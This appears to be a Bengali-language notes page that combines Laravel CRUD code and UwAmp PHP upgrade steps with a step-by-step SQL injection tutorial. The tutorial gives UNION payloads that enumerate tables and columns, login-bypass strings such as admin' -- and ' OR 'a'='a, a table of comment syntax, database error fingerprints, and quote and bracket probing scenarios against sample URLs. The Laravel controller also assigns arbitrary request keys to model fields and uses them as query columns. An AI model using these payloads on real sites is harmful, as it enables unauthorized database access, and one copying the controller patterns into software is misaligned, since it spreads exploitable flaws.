    }
});


    $('input[type=checkbox]:checked').each(function(index){
        $(this).next($('input[type=hidden]')).removeAttr('name');
});
   

   /* 
  For Modal Open
 */
$("#myModal").modal('show');

// Click Delete Anchor Button To Submit Delete Form
function myFunction() {
                document.getElementById("myform").submit();
            }
  </script>
</body>
</html>

ফাইন্ড এবং add বাটন ক্লিক করলে ভিউতে ফরম মেথড ও বাটন এর টেক্সট পরিবর্তন হবে

// ফাইন্ড ও add বাটনে ক্লিক করলে route এর মাধ্যমে 
@if(@isset($find) && $find == 'find')   <form action="{{route('items.find')}}" method="post" id="myform" > @csrf @endif

@if(@isset($find) && $find == 'add') <form action="{{route('items.store')}}" method="post" id="myform"  > @csrf @endif
@if (@isset($moreoutput) && count($moreoutput) >0)
<div id="myModal" class="modal fade" >
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title">SEARCH RESULT</h5>
                <button type="button" class="close" data-dismiss="modal">&times;</button>
            </div>
            <div class="modal-body">
            @isset($moreoutput)
            <table class="table table-bordered">
                <thead class="">
                    <tr>
                        <th>Entry No</th>
                        <th>Item Code</th>
                        <th>Item Description</th>
                    </tr>
                </thead>
                <tbody>
                    @foreach ($moreoutput as $moreoutput)
                    <tr>
                    <td><a class="" href="{{ route('items.edit',$moreoutput->id) }}">{{$moreoutput->id}}</a></td>
                        <td>{{ $moreoutput->code }}</td>
                        <td>{{ $moreoutput->description }}</td>
                    </tr>
                    
                    @endforeach
                  
                </tbody>
         
            </table>
             
                @endisset
        </div>
    </div>
</div>
@endif

Message.blade.php

<!-- For Flash Meaasge -->
<div id="message">

@if ($errors->any())
    <div class="alert alert-danger">
        <ul>
            @foreach ($errors->all() as $error)
                <li>{{ $error }}</li>
            @endforeach
        </ul>
    </div>
@endif


      <div style="padding: 5px;">
          @if ($message = Session::get('success'))
          <div class="alert alert-success alert-block sticky-top alert alert-dismissible ">
              <button type="button" class="close" data-dismiss="alert">×</button> 
                  <strong>{{ $message }}</strong>
          </div>
          @endif
           
           
          @if ($message = Session::get('error'))
          <div class="alert alert-danger alert-block sticky-top alert alert-dismissible">
              <button type="button" class="close" data-dismiss="alert">×</button> 
                  <strong>{{ $message }}</strong>
          </div>
          @endif
           
           
          @if ($message = Session::get('warning'))
          <div class="alert alert-warning alert-block sticky-top alert alert-dismissible">
              <button type="button" class="close" data-dismiss="alert">×</button> 
              <strong>{{ $message }}</strong>
          </div>
          @endif
           
           
          @if ($message = Session::get('info'))
          <div class="alert alert-info alert-block sticky-top alert alert-dismissible">
              <button type="button" class="close" data-dismiss="alert">×</button> 
              <strong>{{ $message }}</strong>
          </div>
          @endif
           
           
          @if ($errors->any())
          <div class="alert alert-danger sticky-top alert alert-dismissible">
              <button type="button" class="close" data-dismiss="alert">×</button> 
              Please check the form below for errors
          </div>
          @endif
      </div>
  </div>
 
 
<!-- For Flash Meaasge End -->

ফাইন্ড বাটনে ক্লিক করলে ফর্ম এর মেথড পরিবর্তন হবে এবং সাবমিট বাটনের টেক্সট হবে ফাইন্ড এখন আমরা যদি ফর্ম এ কিছু ফিলাপ করে সাবমিট বাটন ফাইন্ড লিখা অবস্থায় ক্লিক করি তাহলে ফর্ম টি আইটেমস।ফাইন্ড নামের route এ যাবে যা items কন্ট্রোলার এর searchমেথড কল হবে

Route::group(['middleware' => ['web']], function () {
    Route::resources([
        'items' => ItemsController::class
      
    ]);
    Route::get('items/{btn}', [ItemsController::class, 'show'])->name('items.fbtn');

    Route::post('items/find', [ItemsController::class, 'search'])->name('items.find');
});

ITEMSCONTROLLER.php

<?php

namespace App\Http\Controllers;

use App\Models\Items;
use Illuminate\Http\Request;

class ItemsController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        $data = Items::all();
        $route= 'store';
        return view('sycorax.items')->with([ 'route'=> $route,'find'=> 'add','data' =>  $data]);
    }


    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        // return view ('create');
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        
        $items = new Items;
        $validatedData =  $request->validate(
            // ভ্যালিডেটের শর্ত ও ফিল্টার 
            [
                'quantity.*' => 'required|numeric|min:1',
                'code.*' => 'required'
        
        ],

        [ // ভ্যালিডেটের মেসেজ 
            'quantity.required' => '<i class="fa fa-exclamation-triangle"></i>',
            'code.required' => "Item Is Required"
         ]


        );
// টোকেন ছাড়া ফর্ম দ্বারা সাবমিট করা সব ডাটা ভ্যারিয়েবল এ জমা করলাম 
$data = $request->except(['_token']);
$a = count($data['quantity']); // 
$row = array(); // ফাঁকা একটি এরে নিলাম যার মধ্যে ফর্ম থেকে আসা ডাটা  নিজেরমত করে সাজাবো 

/* প্রথমে আমরা ফর্ম হতে ডাটা পাবো  মাল্টিডিমেনশন এরে আকারে যেখানে প্রত্যেকটা ইনপুট একটা এরে হিসাবে ডাটা প্রদান করবে
 Array ( [code] => Array ( [0] => 23 ) [description] => Array ( [0] => 23 ) [quantity] => Array ( [0] => 34 ) ) 
 */

 

foreach( $data  as $key => $value){
    if (is_array($value)) {
        for ($i=0; $i <count($value); $i++) { 
            $row[$key][] = $value[$i];
    
        }
        }

    else{
       
        $items->$key =  $value;
    }

}


for ($i=0; $i < count($row['quantity']) ; $i++) { 
    foreach($row as $key => $value){
        $items->$key = $row[$key ][$i];
    }
    
  }

  try {

    $items->save();
 
    return redirect()->route('items.index')->with('success', 'SAve SuccessFull [Message 200-48]');
 
 } catch (\Exception $e) {
 
   return redirect()->route('items.index')->with('error', 'ISome Error Have ');

 }


    }


public function find(Request $request){

}


public function search(Request $request){
  
      
try {
    $output = array();
    $data = $request->except(['_token']);
 
    foreach( $data  as $key => $value){
        if (is_array($value)) {
            
            for ($i=0; $i <count($value); $i++) { 
                if(!empty($value[$i]) ) {

                    $output= Items::where($key, 'like', '%'.$value[$i].'%')->get() ;
                   
             
            }}
        }

        elseif(!is_array($value)){
            if (!empty($value)) {
                $output = Items::where($key, 'like', '%'.$value.'%')->get() ;

            }
        }
    }

    if (count($output) == 1) {
        
        return view('sycorax.items',['output' => $output,'find'=> 'edit','deletebtn' =>'delete' ]);
    } elseif(count($output) == 0) {
        return view('sycorax.items',['output' => $output]);
    }
    elseif(count($output)>1) {
        return view('sycorax.items',['moreoutput' => $output]);
    }
} catch (\Exception $e) {
    return redirect()->route('items.index')->with('error', 'ISome Error Have ');
}

}
    /**
     * Display the specified resource.
     *
     * @param  \App\Models\Items  $items
     * @return \Illuminate\Http\Response
     */
    public function show($id)
    {
        $link = Items::where('id',$id)->first();
        return view('sycorax.items',['find'=> $id,'link' => $link]);
    }

    
    /**
     * Show the form for editing the specified resource.
     *
     * @param  \App\Models\Items  $items
     * @return \Illuminate\Http\Response
     */
    public function edit(Items $items)
    {
        //
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \App\Models\Items  $items
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, $id)
    {
        $items = Items::find($id);

        $data = $request->except(['_token','_method']);
        $a = count($data['quantity']); // 
        $row = array();


        foreach( $data  as $key => $value){
            if (is_array($value)) {
                for ($i=0; $i <count($value); $i++) { 
                    $row[$key][] = $value[$i];
            
                }
                }
        
            else{
               
                $items->$key =  $value;
            }
        
        }
        
        
        for ($i=0; $i < count($row['quantity']) ; $i++) 
        { 
            foreach($row as $key => $value){
                $items->$key = $row[$key ][$i];
            }
            
          }

          $items->save();

       return route('items.index')->with('success','Update Successfull');
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  \App\Models\Items  $items
     * @return \Illuminate\Http\Response
     */
    public function destroy($id)
    {
        Items::where('id', $id)->delete();
        return redirect()->route('items.index')
        ->with('success','Post deleted successfully');
    }
}

uwamp সার্ভার এ যেভাবে php আপডেট করবো

  1. Go to the PHP Windows Download Page.
  2. Get the x86 Thread Safe version(s)
  3. UnZIP to a (in my case) php-7.4.23 and php-8.0.10 folder
  4. Add this lines to httpd_uwamp.conf around line 166: Define {PHPMODULENAME} {PHPMODULENAME}
<IfDefine php8_module>
LoadModule php_module "{PHPPATH}/{PHPAPACHE2FILE}"
</IfDefine>
<IfDefine php7_module>
LoadModule {PHPMODULENAME} "{PHPPATH}/{PHPAPACHE2FILE}"
</IfDefine>
<IfDefine php5_module>
LoadModule {PHPMODULENAME} "{PHPPATH}/{PHPAPACHE2FILE}"
</IfDefine>

  1. Start UwAmp.
  2. It will find the new php versions and ask if you want to install, say yes, and choose the production ini

SQL ইনজেকশন যেভাবে করবো

নিচে স্টেপ টু স্টেপ শিখানো হয়েছে এখানে তার কিছু ফাঙ্কশন দেয়া হলো যার দ্বারা ডাটাবেস হতে বিভিন্ন ইনফরমেশন বের করা হয় :

Function Name/CommandDescription
column_nameThe name of the colunmn
table_nameThe name of the table in which the column can be found
data_typeIndicates data type of the column (SQL Server data type)
column_defaultDefault value inserted in the column.
is_nullableIndicates if the value can be null.
column names Sql 1 AND 1=2 UNION SELECT table_name, column_name, 1 FROM information_schema.columns
//////////////// Query generated. ///////////////////////////
SELECT name, description, price FROM products WHERE category=1 AND 1=2 UNION SELECT table_name, column_name, 1 FROM information_schema.columns
column names Oacle1 AND 1=2 UNION SELECT table_name, column_name, 1 FROM all_tab_columns
////////////// Query generated. //////////
SELECT name, description, price FROM products WHERE category=1 AND 1=2 UNION SELECT table_name, column_name, 1 FROM all_tab_columns
Table Names in MySQL1 AND 1=2 UNION SELECT table_schema, table_name, 1 FROM information_schema.tables
Table Names in Oracle1 AND 1=2 UNION SELECT owner, table_name, 1 FROM all_tables
///////////// Query generated.//////////////////
SELECT name, description, price FROM products WHERE category=1 AND 1=2 UNION SELECT owner, table_name, 1 FROM all_tables

Login Bypass :

$query = "SELECT * FROM users WHERE username='"..$_POST['username']."' AND password='".$_POST['password']."'";

উপরের কোয়েরিতে বলা হচ্ছে যদি একটা row রিটার্ন হয় সেক্ষেত্রে আমরা লগইন এক্সেস নিতে পারবো। এটা ভাঙার জন্য যদি আমরা নিচের মতো ইঞ্জেক্ট করি তাহলে ভাঙতে পারবো

admin
wrongpassword' OR 'a'='a
SELECT * FROM users WHERE username='admin' AND password='wrongpassword' OR 'a'='a'

Vulnerable Username Field :

Malicious username (1st line) and password (2nd line) submitted by the attacker.
admin' --
anypassword
Query generated (login bypass attack).
SELECT * FROM users WHERE username='admin' -- AND password='anyPassword'

Username : ' or ''=' 
Password : ' or ''='

ডাটাবেসের স্ট্রাকটার : ডাটাবেস সিস্টেমে ডাটাবেস একটি কম্পিউটার এ হোস্ট করা থাকে যা লোকাল ইন্টারনেট বা ওয়ার্ল্ড ইন্টারনেট এর সাথে সংযুক্ত থাকে এবং এর ইউজার থাকে যার একটি পাসওয়ার্ড থাকে এবং সে এক বা একাধিক ডাটাবেস এক্সেস করতে পারে।

নিচে একটি ডাটাবেসের উদাহরণ দেয়া হলো যাতে tabil১ ও student নাম টেবিল আছে এবং টেবিলে কিছু ডাটা আছে।

এখন আমরা যদি table1 হতে ডাটা দেখতে চাই তাহলে আমাদের কোয়েরি লিখতে হবে এবং নিচের মতো ডাটা দেখতে পাবো

select * from table1

আবার আমরা যদি student টেবিলের নির্দিষ্ট কোনো ডাটা দেখতে চাই যেমন যার id এর মান ১ তাহলে নিচের মতো কোয়েরি লিখতে হবে এবং নিচের মতো আউটপুট পাবো

Select * from students where id=1

এবার আমরা একটি শর্তের ভিত্তিতে ডাটা দেখবো যেখানে f_name=’camaline’

Select * from students where f_name='camaline'

এখন SQL কোয়েরি কিভাবে নষ্ট করে তা দেখবো

যদি কোনো কোয়েরিতে ইনপুট হিসাবে নাম্বার গ্রহণ করে সেক্ষেত্রে কোয়েরি গুলো দেখতে এরকম হয়

select * from table_name where id=1
select * from table_name where id='1'
select * from table_name where id="1"
select * from table_name where id=(1)
select * from table_name where id=('1')
select * from table_name where id=("1")

উপরের সবগুলো কোয়েরি একই আউটপুট দেবে।

যদি কোনো কোয়েরিতে ইনপুট হিসাবে ষ্ট্রিং বা টেক্সট গ্রহণ করে সেক্ষেত্রে কোয়েরি গুলো দেখতে এরকম হয়

select * from table_name where id='1'
select * from table_name where id="1"
select * from table_name where id=('1')
select * from table_name where id=("1")

উপরের সবগুলো কোয়েরি একই আউটপুট দেবে।

প্রথম উদাহরণ : যখন আমরা কোনো url দেখবো যেমন http://example.com/report.php?id=23 তখন আমরা এর কোয়েরি সম্পর্কে অনুমান করতে পারবো যদি আমরা উপরের কোয়েরিকে নিচের মতো অনুমান করতে পারি.

select * from table_name where id=23
select * from table_name where id='23'
select * from table_name where id="23"
select * from table_name where id=(23)
select * from table_name where id=('23')
select * from table_name where id=("23")

কোয়েরি ইঞ্জেক্ট করার পূর্বে আমাদের ডাটাবেসের কমেন্ট কমান্ড সম্পর্কে জানতে হবে

CommentName
MySQL Linux Style
–+MySQL Windows Style
#
Hash (URL encode while use)
–+-SQL Comment
;%00Null Byte
`Backtick

Important

  • যখন একটি ইনপুট সিঙ্গেল কোটেশন দ্বারা ক্লোজ করা থাকবে তখন ইনপুটের সাথে একটি সিঙ্গেল কোটেশন যোগ করলে এরর প্রদান করবে
  • যখন একটি ইনপুট ডাবল কোটেশন দ্বারা ক্লোজ করা থাকবে তখন ইনপুটের সাথে একটি ডাবল কোটেশন যোগ করলে এরর প্রদান করবে
  • যখন একটি ইনপুট ডাবল কোটেশন বা সিঙ্গেল কোটেশন দ্বারা ক্লোজ করা থাকবে না তখন ইনপুটের সাথে একটি ডাবল কোটেশন বা সিঙ্গেল কোটেশন যোগ করলে এরর প্রদান করবে

SQL এরর গুলো দেখতে কিরকম হবে :

MySQL Error Style:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

MSSQL ASPX Error:

Server Error in ‘/’ Application

MSAccess (Apache PHP):

Fatal error: Uncaught exception ‘com_exception’ with message Source: Microsoft JET Database Engine

MSAccesss (IIS ASP):

Microsoft JET Database Engine error ‘80040e14’

Oracle Error:

ORA-00933: SQL command not properly ended



ODBC Error:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

PostgreSQL Error:

PSQLException: ERROR: unterminated quoted string at or near “‘” Position: 1
or
Query failed: ERROR: syntax error at or near

“‘” at character 56 in /www/site/test.php on line 121.

MS SQL Server: Error:

Microsoft SQL Native Client error %u201880040e14%u2019
Unclosed quotation mark after the character string

এরর তৈরী করা : বিভিন্ন ভাবে পরীক্ষা করে এরর তৈরী করতে হয় এবং কন্ফার্ম হতে হয় যে কোন কোয়েরিটি কাজ এপ্লিকেশন এ করছে। উদাহরণ স্বরূপ “http://vk9-sec.com/report.php?id=23&#8221; এই url এ এরর তৈরী করার চেষ্টা করতে হবে এবং দেখতে হবে যে এপ্লিকেশন টি কিরকম আচরণ করছে।আমরা মনে করছি কোয়েরিটি এরকম

select * from table_name where id=23

এখন id=23 এর 23 যদি নম্বর জাতীয় ইনপুট হয় সেক্ষেত্রে এরর তৈরী করতে নিচের কাজগুলো করতে হবে

23′ এটা এরর প্রদান করবে যার কারণে ডাটাবেসের কোনো ডাটা আউটপুট করবেনা
23″এটা এরর প্রদান করবে যার কারণে ডাটাবেসের কোনো ডাটা আউটপুট করবেনা
23 or 1=1এটার আউটপুট আসতে পারে কিন্তু আউটপুট ভিন্ন হবে
23 and 1=1আগের মতোই আউটপুট আসবে মানে ডাটাবেস হতে ডাটা আউটপুট দেবে
23 and falseNo output
23 and trueSame Output
23–+Same output. I used –+ to comment, later i ll show how to know which one to use
23 and true–+Same output
যদি ওয়েব এপ্লিকেশন টি উপরের বর্ণনার মতো আচরণ করে তাহলে ইনপুটটি ইন্টেজার নাম্বার টাইপ এর

Scenario 1: Single quote :যদি কোনো কোয়েরি সিঙ্গেল কোটেশন দ্বারা ইনক্লোজ করা থাকে { select * from table_name where id=’23’}তাহলে কোয়েরিটি নিচের মতো যদি কোয়েরিটি সিঙ্গেল কোটেশন দ্বারা ইনক্লোজ করা থাকে তবে এপ্লিকেশন টি ইঞ্জেক্ট করার সময় এপ্লিকেশন নিচের মতো আচরণ করবে

23′It should cause error or no output
23″ No error Same output
23′ or ‘1’=’1Any Output should come but may be different output
23′ and ‘1’=’1Same output should come
23′ and false–+No output
23′ and true–+Same Output
যদি ওয়েব এপ্লিকেশন টি উপরের বর্ণনার মতো আচরণ করে তাহলে ইনপুটটি সিঙ্গেল কোটেশনের মধ্যে আছে

Scenario 2: Double quote

23′No error Same output
23″It should cause error or no output
23″ or “1”=”1Any Output should come but may be different output
23″ and “1”=”1Same output should come
23″ and false–+No output
23″ and true–+Same Output
যদি ওয়েব এপ্লিকেশন টি উপরের বর্ণনার মতো আচরণ করে তাহলে ইনপুটটি Double quote কোটেশনের মধ্যে আছে

Scenario 3: Integer Based Bracket enclosed : select * from table_name where id=(23)

23′It should cause error or no output
Should cause error or no output
23 or 1=1Output should come but may be different output
23 and 1=1Output should come but may be different output
23 and falseNo output
23 and trueSame Output
23–+Error or No output. Here you can understand that any Bracket is used
23)–+Same output
23) and false–+No output
23) and true–+Same output
যদি ওয়েব এপ্লিকেশন টি উপরের বর্ণনার মতো আচরণ করে তাহলে ইনপুটটি (২৩) এভাবে কার্লি ব্রাকেট দ্বারা আবৃত আছে এবং এটা ইন্টিজার

Scenario 4: bracket enclosed Single Quote : {select * from table_name where id=(’23’)}

23′It should cause error or no output
23″No error Same output
23′ or ‘1’=’1Any Output should come but may be different output
23′ and ‘1’=’1Any Output should come but may be different output
23′ and false–+No output or error
23′ and true–+No output or error
23′) and False–+No output
23′) and true–+Same Output
23′) or true–+Output will come but may be different
যদি ওয়েব এপ্লিকেশন টি উপরের বর্ণনার মতো আচরণ করে তাহলে ইনপুটটি (২৩) এভাবে কার্লি ব্রাকেট দ্বারা আবৃত আছে এবং সিঙ্গেল কোটেশন দ্বারা আবৃত আছে